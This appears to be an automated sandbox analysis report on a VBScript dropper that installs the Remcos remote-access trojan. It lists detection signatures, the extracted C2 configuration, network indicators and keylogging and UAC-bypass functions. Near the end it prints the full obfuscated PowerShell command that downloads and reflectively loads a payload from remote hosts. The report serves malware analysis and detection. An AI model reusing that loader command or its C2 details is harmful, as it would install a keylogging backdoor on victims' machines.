Windows Analysis Report
5fKvwnCAeC.vbs

Overview

General Information

Sample name: 5fKvwnCAeC.vbs
renamed because original name is a hash value
Original sample name: f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs
Analysis ID: 1523832
MD5: 0c6c4542c1abc5fc3d5eab3e4ab3793a
SHA1: 288dfb240061530c2c73ae4183b7330623e94a69
SHA256: f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41
Tags: BlindEaglevbsuser-JAMESWT_MHT
Infos:

Detection

Remcos, PureLog Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell decode and execute
Yara detected PureLog Stealer
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Remcos, RemcosRAT Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
 https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

AV Detection
barindex
Found malware configuration
Source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: Remcos {"Host:Port:Password": "45.90.89.98:8243:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-O0U3JA", "Keylog flag": "1", "Keylog path": "Temp", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Multi AV Scanner detection for domain / URL
Source: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt Virustotal: Detection: 10% Perma Link
Source: http://45.90.89.123/2117/RMCCF.txt Virustotal: Detection: 14% Perma Link
Source: http://45.90.89.123 Virustotal: Detection: 13% Perma Link
Source: 45.90.89.98 Virustotal: Detection: 12% Perma Link
Multi AV Scanner detection for submitted file
Source: 5fKvwnCAeC.vbs Virustotal: Detection: 9% Perma Link
Yara detected Remcos RAT
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext, 11_2_004338C8
Source: powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_4395ad51-c

Exploits
barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR

Privilege Escalation
barindex
Contains functionality to bypass UAC (CMSTPLUA)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00407538 _wcslen,CoGetObject, 11_2_00407538
Source: unknown HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.10:49706 version: TLS 1.2
Source: Binary string: System.Data.Linq.pdb source: powershell.exe, 0000000A.00000002.1404922826.0000026F3E840000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1436384107.0000026F45F00000.00000004.08000000.00040000.00000000.sdmp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose, 11_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 11_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 11_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose, 11_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose, 11_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00407877 FindFirstFileW,FindNextFileW, 11_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0044E8F9 FindFirstFileExA, 11_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 11_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW, 11_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 11_2_0040BD72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW, 11_2_00407CD2

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:49708 -> 45.90.89.98:8243
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:60898 -> 45.90.89.98:8243
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:60899 -> 45.90.89.98:8243
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:49713 -> 45.90.89.98:8243
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:60900 -> 45.90.89.98:8243
Source: Network traffic Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 45.90.89.123:80 -> 192.168.2.10:49707
Source: Network traffic Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 45.90.89.123:80 -> 192.168.2.10:49707
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.10:60901 -> 45.90.89.98:8243
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 45.90.89.98
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.10:49708 -> 45.90.89.98:8243
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /2117/RMCCF.txt HTTP/1.1Host: 45.90.89.123Connection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 45.90.89.98 45.90.89.98
Source: Joe Sandbox View IP Address: 207.241.227.240 207.241.227.240
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CMCSUS CMCSUS
Source: Joe Sandbox View ASN Name: CMCSUS CMCSUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: unknown TCP traffic detected without corresponding DNS query: 45.90.89.123
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00426D42 recv, 11_2_00426D42
Source: global traffic HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /2117/RMCCF.txt HTTP/1.1Host: 45.90.89.123Connection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: ia600100.us.archive.org
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2DC4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.90.89.123
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2DC4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.90.89.123/2117/RMCCF.txt
Source: RegAsm.exe String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EF0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F15A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.1454522210.000001EB02CCA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2D821000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EF56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F15A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000008.00000002.1454522210.000001EB02CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1454522210.000001EB02C5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2D821000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2F15A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2E87A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EE8A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ia600100.us.arX
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EE8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2DA42000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2DA42000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2DA42000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt9uO;FIibase64Content
Source: powershell.exe, 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2F2D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EF56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000000A.00000002.1391003389.0000026F2EF56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneget.orgX
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.10:49706 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to register a low level keyboard hook
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040A2F3 SetWindowsHookExA 0000000D,0040A2DF,00000000 11_2_0040A2F3
Installs a global keyboard hook
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Jump to behavior
Contains functionality for read data from the clipboard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard, 11_2_0040B749
Contains functionality to modify clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 11_2_004168FC
Contains functionality to read the clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard, 11_2_0040B749
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx, 11_2_0040A41B
Yara detected Keylogger Generic
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR

E-Banking Fraud
barindex
Yara detected Remcos RAT
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands
barindex
Contains functionalty to change the wallpaper
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041CA73 SystemParametersInfoW, 11_2_0041CA73

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR Matched rule: Detects Invoke-Mimikatz String Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1R